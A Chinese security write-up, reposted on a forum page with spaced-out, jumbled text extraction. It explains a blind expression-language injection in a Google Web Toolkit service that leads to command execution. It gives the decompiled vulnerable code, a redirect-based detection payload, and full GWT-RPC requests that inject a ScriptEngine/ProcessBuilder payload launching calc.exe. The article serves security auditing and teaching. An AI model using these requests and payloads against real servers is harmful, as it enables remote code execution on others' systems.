搜索

[26914] 2020-02-17_如何在GoogleWebToolkit环境下Getshell

文档创建者：s7ckTeam
浏览次数：48
最后更新：2025-01-19
2020-02-17_如何在GoogleWebToolkit环境下Getshell 如 何 在 G o o g l e   W e b   T o o l k i t 环 境 下 G e t s h e l l 原 创   小 椰 树   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 2 - 1 7 本 文 作 者 ： 本 文 作 者 ： 大 盗 贼 卡 卡 大 盗 贼 卡 卡 ﹀ G o o g l e   W e b   T o o l k i t 简 称 （ G W T ） ， 是 一 款 开 源 J a v a 软 件 开 发 框 架 。 今 天 这 篇 文 章 会 介 绍 如 何 在 这 样 的 环 境 中 通 过 注 入 表 达 式 语 句 从 而 导 致 的 高 危 漏 洞 。 漏 洞 介 绍 漏 洞 介 绍 在 W E B - I N F / w e b . x m l 中 ， 我 发 现 了 以 下 的 w e b 端 点 映 射 ： 我 们 可 以 从 上 面 代 码 中 看 到 引 用 了 服 务 器 映 射 。 由 于 G W T 可 以 通 过 定 义 客 户 端 以 便 于 表 示 客 户 端 能 够 进 行 哪 些 访 问 。 我 们 看 看 这 些 客 户 端 类 c o m . a a a . b b b . c c c . d d d . c l i e n t ： 通 过 以 上 代 码 我 们 可 以 看 到 有 三 个 函 数 ， 所 以 把 它 们 单 独 拿 出 来 ， 看 看 它 们 的 各 自 功 能 都 是 什 么 。 在 S e r v i c e I m p l 的 主 函 数 中 ， 我 们 找 到 了 如 下 代 码 ： 在 这 段 代 码 中 我 们 通 过 输 入 字 符 串 来 更 改 " M i b W i d g e t B e a n N a m e " 属 性 。 除 了 这 一 点 ， 好 像 没 有 什 么 可 以 利 用 的 。 我 们 继 续 看 s e t M i b N o d e s I n f o 函 数 ： 这 个 函 数 需 要 一 个 M I B N o d e M o d e l 类 型 的 一 个 列 表 。 m i b N o d e M o d e l L i s t 2 M i b N o d e L i s t 这 个 方 法 会 检 查 我 们 输 入 的 列 表 是 否 符 合 规 范 ， 并 且 根 据 列 表 的 一 个 元 素 的 值 返 回 不 同 的 值 。 如 果 列 表 是 空 ， 这 个 函 数 会 定 义 一 个 新 列 表 ， 并 且 将 内 容 设 置 为 M I B N o d e M o d e l 的 默 认 值 。 然 后 g e t B e a n B y N a m e 函 数 就 会 被 调 用 。 继 续 看 看 这 一 函 数 吧 < s e r v l e t >         < s e r v l e t - n a m e > s o m e S e r v i c e < / s e r v l e t - n a m e >         < s e r v l e t - c l a s s > c o m . a a a . b b b . c c c . d d d . s e r v e r . S o m e S e r v i c e I m p l < / s e r v l e t - c l a s s > < / s e r v l e t > < s e r v l e t - m a p p i n g >         < s e r v l e t - n a m e > s o m e S e r v i c e < / s e r v l e t - n a m e >         < u r l - p a t t e r n > / s o m e S e r v i c e . g w t s v c < / u r l - p a t t e r n > < / s e r v l e t - m a p p i n g > p u b l i c   a b s t r a c t   i n t e r f a c e   S o m e S e r v i c e     e x t e n d s   R e m o t e S e r v i c e {     p u b l i c   a b s t r a c t   v o i d   s e n d B e a n N a m e ( S t r i n g   p a r a m S t r i n g ) ;         p u b l i c   a b s t r a c t   B o o l e a n   s e t M i b N o d e s I n f o ( L i s t < M I B N o d e M o d e l >   p a r a m L i s t ) ;         p u b l i c   a b s t r a c t   v o i d   c r e a t e M i b N o d e G e t t i n g B e a n ( ) ; } p u b l i c   v o i d   s e n d B e a n N a m e ( S t r i n g   p a r a m S t r i n g )     {         i f   ( p a r a m S t r i n g   = =   n u l l )   {             r e t u r n ;         }         H t t p S e s s i o n   l o c a l H t t p S e s s i o n   =   s u p e r . g e t T h r e a d L o c a l R e q u e s t ( ) . g e t S e s s i o n ( ) ;         i f   ( l o c a l H t t p S e s s i o n   ! =   n u l l )   {             l o c a l H t t p S e s s i o n . s e t A t t r i b u t e ( " M i b W i d g e t B e a n N a m e " ,   p a r a m S t r i n g ) ;         }     }     p u b l i c   B o o l e a n   s e t M i b N o d e s I n f o ( L i s t < M I B N o d e M o d e l >   p a r a m L i s t )     {         L i s t   l o c a l L i s t   =   M o d e l U t i l . m i b N o d e M o d e l L i s t 2 M i b N o d e L i s t ( p a r a m L i s t ) ;         i f   ( l o c a l L i s t   ! =   n u l l )         {             M i b N o d e s S e l e c t   l o c a l M i b N o d e s S e l e c t   =   g e t B e a n B y N a m e ( ) ;     p r i v a t e   M i b N o d e s S e l e c t   g e t B e a n B y N a m e ( )     {         . . .         O b j e c t   l o c a l O b j e c t 1   =   s u p e r . g e t T h r e a d L o c a l R e q u e s t ( ) . g e t S e s s i o n ( ) ;         i f   ( l o c a l O b j e c t 1   ! =   n u l l )         {             l o c a l O b j e c t 2   =   ( S t r i n g ) ( ( H t t p S e s s i o n ) l o c a l O b j e c t 1 ) . g e t A t t r i b u t e ( " M i b W i d g e t B e a n N a m e " ) ;             i f   ( l o c a l O b j e c t 2   ! =   n u l l )             {                 l o c a l O b j e c t 3   =   n u l l ;                 t r y                 {                     l o c a l O b j e c t 3   =   ( M i b N o d e s S e l e c t ) F a c e s U t i l s . g e t V a l u e E x p r e s s i o n O b j e c t ( l o c a l F a c e s C o n t e x t ,   " # { "   +   ( S t r i n g ) l o c a l O b j e c t 2   +   " } " ) ;                 }                 f i n a l l y                 {                     i f   ( ( l o c a l F a c e s C o n t e x t   ! =   n u l l )   & &   ( i   ! =   0 ) )   {                         l o c a l F a c e s C o n t e x t . r e l e a s e ( ) ;                     }
由 于 这 是 一 个 私 有 函 数 ， 所 以 我 们 不 能 通 过 客 户 端 直 接 查 看 到 这 个 函 数 的 内 容 。 在 第 8 行 我 们 可 以 了 解 到 这 里 再 次 使 用 了 ” M i b W i d g e t B e a n N a m e ” 属 性 ， 将 一 个 字 符 串 存 储 到 了 l o c a l O b j e c t 2 中 。 l o c a l O b j e c t 2 这 个 变 量 稍 后 会 在 第 1 4 行 被 用 到 去 接 受 一 个 语 言 表 达 式 。 很 明 显 ， 这 是 一 个 经 典 的 表 达 式 注 入 漏 洞 ， 不 过 前 提 是 先 反 汇 编 出 代 码 呀 ～ 攻 击 过 程 攻 击 过 程 首 先 ， 这 不 是 一 个 有 返 回 值 的 语 言 表 达 式 注 入 漏 洞 。 这 就 意 味 着 你 不 知 道 它 是 不 是 已 经 执 行 你 输 入 的 命 令 。 因 此 ， 我 将 它 认 为 是 语 言 表 达 式 盲 注 。 我 通 过 一 个 简 单 的 例 子 进 行 说 明 ， 假 如 我 们 一 个 J S F ( j a v a 服 务 器 框 架 ) 存 在 这 样 的 一 个 漏 洞 ， 那 么 漏 洞 代 码 会 类 似 下 方 ： 那 么 ， 通 过 以 下 攻 击 代 码 就 可 以 实 现 攻 击 由 于 浏 览 器 会 将 " + " 号 转 换 为 空 格 ， 所 以 我 们 对 " + " 号 进 行 u r l 编 码 ， 如 果 我 们 得 到 的 结 果 是 1 0 , 那 么 我 们 就 知 道 服 务 器 已 经 执 行 这 一 个 " 9 + 1 " 这 个 命 令 。 使 用 数 学 表 达 式 进 行 注 入 检 测 是 b u r p s u i t 检 测 注 入 的 方 法 。 但 是 ， 在 上 述 我 们 进 行 审 计 的 代 码 当 中 ， 我 们 是 不 是 不 能 去 轻 易 的 判 断 他 是 不 是 存 在 语 言 表 达 式 漏 洞 ？ 当 然 不 是 ， 我 们 还 有 其 他 方 法 。 通 过 查 找 J S F 说 明 文 档 ， 我 发 现 了 一 些 特 别 棒 的 函 数 ， 能 够 方 便 我 们 在 不 发 出 h t t p 请 求 确 定 是 否 存 在 E L 注 入 。 O r a c l e 官 方 文 档 陈 述 道 你 可 以 在 F a c e s C o n t e x t 对 象 中 使 用 g e t E x t e r n a l C o n t e x t 方 法 。 这 个 方 法 会 返 回 一 个 E x t e r n a l C o n t e x t 类 型 的 值 ， 它 允 许 我 们 设 置 特 定 对 象 的 响 应 属 性 。 当 我 查 看 文 档 时 ， 这 两 个 函 数 引 起 了 我 的 注 意 ： 因 此 我 们 可 以 通 过 设 置 这 个 特 定 字 符 串 为 下 面 j a v a 代 码 ： 如 果 响 应 状 态 值 为 3 0 2 , 重 定 向 到 了 ” h t t p : / / s r c i n c i t e . i o /   “ , 那 么 我 们 就 可 以 确 定 存 在 漏 洞 。 漏 洞 测 试 漏 洞 测 试 我 们 第 一 个 请 求 是 对 M i b W i d g e t B e a n N a m e 属 性 进 行 赋 值 通 过 返 回 响 应 为 ” / / o k [ [ ] , 0 , 6 ] ” 可 以 了 解 到 ， 我 们 对 G W T 注 意 已 经 成 功 。 然 后 第 二 个 请 求 触 发 存 放 在 s e s s i o n 中 的 字 符 串 。 但 是 ， 当 我 们 发 送 请 求 之 前 ， 因 为 s e t M i b N o d e s I n f o 函 数 传 入 的 是 一 个 复 杂 的 变 量 类 型 ， 我 们 需 要 查 看 被 保 护 文 件 的 源 代 码 ， 了 解 一 下 允 许 提 交 的 类 型 。 在 [ s t r o n g n a m e ] . g w t . r p c 文 件 中 ， 我 找 到 了 在 数 组 中 可 以 提 交 的 类 型 :   j a v a . u t i l . A r r a y L i s t / 3 8 2 1 9 7 6 8 2 。 现 在 我 们 可 以 发 送 我 们 的 请 求 数 据 了 正 确 的 返 回 包 内 容 应 该 和 下 面 相 似 ：                 }                 r e t u r n   ( M i b N o d e s S e l e c t ) l o c a l O b j e c t 3 ;             }         }         r e t u r n   n u l l ;     } < h : o u t p u t T e x t   v a l u e = " $ { b e a n E L . E L A s S t r i n g ( r e q u e s t . g e t P a r a m e t e r ( ' e x p r e s s i o n ' ) ) } "   / > h t t p : / / [ t a r g e t ] / s o m e _ e n d p o i n t / v u l n . j s f ? e x p r e s s i o n = 9 % 3 b 1 1 .   s e t R e s p o n s e C h a r a c t e r E n c o d i n g 2 .   r e d i r e c t f a c e s C o n t e x t . g e t E x t e r n a l C o n t e x t ( ) . r e d i r e c t ( " h t t p : / / s r c i n c i t e . i o / " ) ; P O S T   / s o m e S e r v i c e . g w t s v c   H T T P / 1 . 1 H o s t :   [ t a r g e t ] A c c e p t :   * / * X - G W T - M o d u l e - B a s e :   X - G W T - P e r m u t a t i o n :   C o o k i e :   J S E S S I O N I D = [ c o o k i e ] C o n t e n t - T y p e :   t e x t / x - g w t - r p c ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   1 9 5 6 | 0 | 6 | | 4 5 D 7 8 5 0 B 2 B 5 D B 9 1 7 E 4 D 1 8 4 D 5 2 3 2 9 B 5 D 9 | c o m . a a a . b b b . c c c . d d d . c l i e n t . S o m e S e r v i c e | s e n d B e a n N a m e | j a v a . l a n g . S t r i n g | f a c e s C o n t e x t . g e t E x t e r n a l C o n t e x t ( ) . r e d i r e c t ( " h t t p : / / s r c i n c i t e . i o / " ) | 1 | 2 | 3 | 4 | 1 | 5 | 6 | P O S T   / s o m e S e r v i c e . g w t s v c   H T T P / 1 . 1 H o s t :   [ t a r g e t ] A c c e p t :   * / * X - G W T - M o d u l e - B a s e :   X - G W T - P e r m u t a t i o n :   C o o k i e :   J S E S S I O N I D = [ c o o k i e ] C o n t e n t - T y p e :   t e x t / x - g w t - r p c ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   1 7 1 6 | 0 | 6 | | 4 5 D 7 8 5 0 B 2 B 5 D B 9 1 7 E 4 D 1 8 4 D 5 2 3 2 9 B 5 D 9 | c o m . a a a . b b b . c c c . d d d . c l i e n t . S o m e S e r v i c e | s e t M i b N o d e s I n f o | j a v a . u t i l . L i s t | j a v a . u t i l . A r r a y L i s t / 3 8 2 1 9 7 6 8 2 9 | 1 | 2 | 3 | 4 | 1 | 5 | 6 | 0 | H T T P / 1 . 1   3 0 2   F o u n d S e r v e r :   A p a c h e - C o y o t e / 1 . 1 S e t - C o o k i e :   J S E S S I O N I D = [ c o o k i e ] ;   P a t h = / ;   S e c u r e ;   H t t p O n l y S e t - C o o k i e :   o a m . F l a s h . R E N D E R M A P . T O K E N = - g 9 l c 3 0 a 8 l ;   P a t h = / ;   S e c u r e P r a g m a :   n o - c a c h e C a c h e - C o n t r o l :   n o - c a c h e E x p i r e s :   T h u ,   0 1   J a n   1 9 7 0   0 0 : 0 0 : 0 0   G M T P r a g m a :   n o - c a c h e L o c a t i o n :   h t t p : / / s r c i n c i t e . i o / C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   4 5 D a t e :   W e d ,   0 3   M a y   2 0 1 7   1 8 : 5 8 : 3 6   G M T C o n n e c t i o n :   c l o s e / / O K [ 0 , 1 , [ " j a v a . l a n g . B o o l e a n / 4 7 6 4 4 1 7 3 7 " ] , 0 , 6 ]
当 然 ， 能 够 重 定 向 说 明 已 经 执 行 成 功 了 。 但 是 我 们 需 要 的 是 得 到 s h e l l ， 在 这 篇 文 章 h t t p : / / b l o g . m i n d e d s e c u r i t y . c o m / 2 0 1 5 / 1 1 / r e l i a b l e - o s - s h e l l - w i t h - e l - e x p r e s s i o n . h t m l 可 以 使 用 S c r i p t E n g i n e M a n a g e r 的 脚 本 执 行 j a v a 代 码 。 不 过 他 们 的 代 码 都 特 别 长 ， 所 以 我 使 用 相 同 的 方 法 自 己 写 了 一 个 更 新 M i b W i d g e t B e a n N a m e 属 性 值 ， 然 后 使 用 s e t M i b N o d e s I n f o 再 一 次 除 非 这 个 字 符 串 ， 然 后 得 到 系 统 权 限 触 发 语 言 表 达 式 ： 结 论 结 论 这 一 漏 洞 几 乎 不 可 能 在 黑 盒 渗 透 测 试 中 被 发 现 。 像 b u r p   s u i t e 这 样 的 工 具 不 会 发 现 这 样 的 漏 洞 ， 尤 其 是 在 考 虑 到 字 符 串 储 存 到 s e e s i o n 中 这 种 情 况 。 随 着 网 络 技 术 的 进 步 ， 我 们 对 自 动 化 的 依 赖 越 来 越 大 ，   在 这 一 领 域 我 们 需 要 更 多 知 识 ， 技 能 以 及 工 具 。 资 料 参 考 资 料 参 考 h t t p : / / s r c i n c i t e . i o / b l o g / 2 0 1 7 / 0 5 / 2 2 / f r o m - s e r i a l i z e d - t o - s h e l l - a u d i t i n g - g o o g l e - w e b - t o o l k i t - w i t h - e l - i n j e c t i o n . h t m l 扫 描 下 方 二 维 码 学 习 更 多 扫 描 下 方 二 维 码 学 习 更 多 W E B 安 全 知 识 ： 安 全 知 识 ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m " " . g e t C l a s s ( ) . f o r N a m e ( " j a v a x . s c r i p t . S c r i p t E n g i n e M a n a g e r " ) . n e w I n s t a n c e ( ) . g e t E n g i n e B y N a m e ( " J a v a S c r i p t " ) . e v a l ( " v a r   p r o c = n e w   j a v a . l a n g . P r o c e s s B u i l d e r [ " ( j a v a . l a n g . S t r i n g [ ] ) " ] ( [ " c m d . e x e " , " / c " , " c a l c . e x e " ] ) . s t a r t ( ) ; " ) P O S T   / s o m e S e r v i c e . g w t s v c   H T T P / 1 . 1 H o s t :   [ t a r g e t ] A c c e p t :   * / * X - G W T - M o d u l e - B a s e :   X - G W T - P e r m u t a t i o n :   C o o k i e :   J S E S S I O N I D = [ c o o k i e ] C o n t e n t - T y p e :   t e x t / x - g w t - r p c ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   3 6 6 6 | 0 | 6 | | 4 5 D 7 8 5 0 B 2 B 5 D B 9 1 7 E 4 D 1 8 4 D 5 2 3 2 9 B 5 D 9 | c o m . a a a . b b b . c c c . d d d . c l i e n t . S o m e S e r v i c e | s e n d B e a n N a m e | j a v a . l a n g . S t r i n g | " " . g e t C l a s s ( ) . f o r N a m e ( " j a v a x . s c r i p t . S c r i p t E n g i n e M a n a g e r " ) . n e w I n s t a n c e ( ) . g e t E n g i n e B y N a m e ( " J a v a S c r i p t " ) . e v a l ( " v a r   p r o c = n e w   j a v a . l a n g . P r o c e s s B u i l d e r [ " ( j a v a . l a n g . S t r i n g [ ] ) " ] ( [ " c m d . e x e " , " / c " , " c a l c . e x e " ] ) . s t a r t ( ) ; " ) | 1 | 2 | 3 | 4 | 1 | 5 | 6 | P O S T   / s o m e S e r v i c e . g w t s v c   H T T P / 1 . 1 H o s t :   [ t a r g e t ] A c c e p t :   * / * X - G W T - M o d u l e - B a s e :   X - G W T - P e r m u t a t i o n :   C o o k i e :   J S E S S I O N I D = [ c o o k i e ] C o n t e n t - T y p e :   t e x t / x - g w t - r p c ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   1 7 1 6 | 0 | 6 | | 4 5 D 7 8 5 0 B 2 B 5 D B 9 1 7 E 4 D 1 8 4 D 5 2 3 2 9 B 5 D 9 | c o m . a a a . b b b . c c c . d d d . c l i e n t . S o m e S e r v i c e | s e t M i b N o d e s I n f o | j a v a . u t i l . L i s t | j a v a . u t i l . A r r a y L i s t / 3 8 2 1 9 7 6 8 2 9 | 1 | 2 | 3 | 4 | 1 | 5 | 6 | 0 |
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理